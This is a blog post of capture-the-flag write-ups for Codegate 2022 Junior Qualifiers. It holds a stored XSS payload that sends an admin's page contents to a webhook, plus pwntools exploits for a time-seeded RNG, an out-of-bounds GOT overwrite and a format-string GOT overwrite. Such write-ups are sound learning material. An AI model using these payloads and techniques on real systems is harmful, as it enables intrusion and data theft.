blog of bosh mainly cybersec

Codegate 2022 Junior Quals

This past weekend I did Codegate 2022 Junior Qualifiers to distract myself from other things in life. I had been really tired the whole week but I needed something to grind to take my mind off stuff.

Also this CTF was from 5 AM - 5 AM EST so I only worked on it for like half the competition.

I ended up getting 19th place, meaning I qualifed for the finals competition (top 20 were taken)! I’m hoping I can go to Korea this year and not have to be on Zoom, but COVID might say otherwise.

ohmypage

Plain XSS through /search in the URL parameter as it is echoed back unsafely.

Make the admin read /mypage as the flag is there and then send it to a webhook.

<script>  
fetch("/mypage").then(resp =>
    resp.text().then(s =>
        fetch("<WEBHOOK>" + btoa(s))
    )
)
</script>

UDgame

Binary search the number between 1 and 1000000000000. I rented an AWS server in Seoul to reduce ping.

from pwn import *

p = remote("52.79.50.189", 4321)

context.log_level="debug"
p.sendline("y")

while True:
    hi = 1000000000000
    lo = 1
    mid = int((hi + lo) / 2)
    while lo <= hi:
        print("guessing", mid)
        print("hi {} lo {}".format(hi, lo))
        p.sendlineafter(":", str(mid))
        x = p.recvline().strip()
        if x == b"UP!":
            lo = mid + 1
            mid = int((hi + lo) / 2)
        elif x == b"DOWN!":
            hi = mid - 1
            mid = int((hi + lo) / 2)
        elif b"funny" in x:
            print("burh", x)
            break
        print("x", x)


    print("-"*50)



p.interactive()

Gift

Get the initial random money generator first in the point shop.

Then use your 5 tickets to make predictable bets with the “up and down” game. The game is seeded based on time and just uses the first 2 random numbers mod 50 so it is easy to predict.

It’s still not enough to buy a flag so then I just bought more up-down tickets and stopped the betting as soon as I got enough money for the flag to avoid an overflow.

I used a helper program that I wrote in C to get random numbers since I think the algorithm is different between Python and C.

from pwn import *
import subprocess
import time


context.log_level="info"

p = remote("3.39.28.41", 8888)
#p = process("./Gift")

p.sendline("iii")

p.sendlineafter("> ", "3")

p.sendlineafter("> ", "1")

p.recvuntil(": ")


amt = int(p.recvline().strip())
print("I HAVE", amt)


for i in range(5):
    p.sendlineafter("> ", "3")

    p.sendlineafter("> ", "5")
    print("timing now")
    mine, lucky = map(int, subprocess.check_output(['./predict', str(int(time.time()))]).split())

    mine %= 50
    lucky %= 50

    print("mine", mine)
    print("lucky", lucky)


    p.sendlineafter("> ", "{} {}".format(0 if mine == lucky else amt, 2 if mine < lucky else 1))
    print(p.recvline())

    p.recvuntil("point: ")

    amt = int(p.recvline().strip())

    print("I HAVE", str(amt))



while amt > 100:
    print(amt)
    p.sendlineafter("> ", "3")

    p.sendlineafter("> ", "4")

    p.sendlineafter("> ", "2")

    amt -= 100


p.recvuntil("ticket: ")
tickets = int(p.recvline().strip())

print("tickets", tickets)


for i in range(tickets):
    p.sendlineafter("> ", "3")

    p.sendlineafter("> ", "5")
    print("timing now")
    mine, lucky = map(int, subprocess.check_output(['./predict', str(int(time.time()))]).split())

    mine %= 50
    lucky %= 50

    print("mine", mine)
    print("lucky", lucky)


    p.sendlineafter("> ", "{} {}".format(0 if mine == lucky else amt, 2 if mine < lucky else 1))
    print(p.recvline())

    p.recvuntil("point: ")

    amt = int(p.recvline().strip())

    print("I HAVE", str(amt))

    if amt > 99999999:
        break

p.sendlineafter("> ", "2")

p.sendlineafter("> ", "6")

predict source code:

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]){
    long long x = atoi(argv[1]);

    srand(x);

    printf("%d %d", random(), random());

    return 0;
}

Dino diary

You can read (choice 3) and modify (choice 2) out of bounds. Since it is partial relro I leaked the libc address of puts first at offset -36 and then overwrote it with the address of a one_gadget.

from pwn import *

e = ELF("./Dino_diary")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.27.so")

context.binary = e
context.terminal = ["konsole", "-e"]


p = remote("52.78.171.46", 8080)
#p = process([e.path])


#context.log_level="debug"
gdb.attach(p, """c""")


p.sendlineafter("memu: ", "3")
p.sendlineafter(": ", "-36")        # puts

p.recvuntil("number: ")

data = int(p.recvline().strip())

p.recvuntil("name: ")

data2 = u64(p.recv(2).ljust(8, "\x00"))


if data < 0:
    data += 2**32

data += data2 << 32


libc.address = data - libc.sym["puts"]

print("libc base", hex(libc.address))

p.sendlineafter("memu: ", "2")
p.sendlineafter(": ", "-36")        # puts
p.sendlineafter("comment: ", "AAAAAA" + p64(libc.address + 0x4f432))


p.interactive()

cat tail

Program allows us to read files in the current directory. We see flag is a file in the current directory, but in the cat functionality it calls strcmp on the filename before reading it, effectively stopping us from reading the flag file.

There is a format string vulnerability in the check_permission function. We can use this to leak the return address of main, which is always a libc pointer. I guessed-and-checked the libc version with Docker lololol.

After that we can achieve arbitrary write with the same format string bug. There is not enough space to write multiple words of data at a single time so we have to wait for the program to loop.

I wanted to overwrite access in the GOT because it was the only function that I can choose when to access, meaning the program doesn’t need it when it loops. But none of the one_gadgets or angry_gadgets worked at all >:(

I ended up overwriting the single lowest word of the strcmp to strlen which is pretty close in address (didn’t need to write the next word). This is good because the cat function only denies if the strcmp with the filename and "flag" is 0. But if you call strlen on that same filename it will always be >0 so the program doesn’t think it should block you from reading the file.

After that I just read the flag. Sometimes the exploit work sometimes it doesn’t. I just re-ran it a bunch.

from pwn import *


context.terminal=['konsole', '-e']

context.log_level="debug"


libc = ELF('./libc.so.6')
e = ELF('./cat_tail')


p = remote("3.39.67.50", 5334)
#p = process("./cat_tail")



gdb.attach(p, "c")

p.sendlineafter(">>> ", "3")

p.sendlineafter(">>> ", "%43$p")



p.recvuntil("Input: ")
p.recv(5)

leak = eval(p.recvline().strip())


libc.address = leak - 0x270b3


print("libc", hex(libc.address))


p.sendline()


# p.sendlineafter(">>> ", "3")


# p.sendlineafter(">>> ", "2")        # populate got pointer of access

# p.sendline()






def write(loc, val):
    p.sendlineafter(">>> ", "3")

    exp = "%{}c%17$hn".format(val)

    assert len(exp) <= 24

    exp = exp.ljust(24, " ")
    exp += p64(loc)


    p.sendlineafter(">>> ", exp)
    p.sendline()



addr = libc.sym["strlen"]

print("want", hex(addr))

#sometimes this works sometimes it doesn't it is what it is :DDDDDDDD

write(e.got['strcmp'], (addr & 0xffff) - 5)
# write(e.got['access']+2, ((addr & 0xffff0000) >> 16) -5)
# write(e.got['access']+4, ((addr & 0xffff00000000) >> 32) -5)



# p.sendlineafter(">>> ", "3")


# p.sendlineafter(">>> ", "3")        # access again



p.interactive()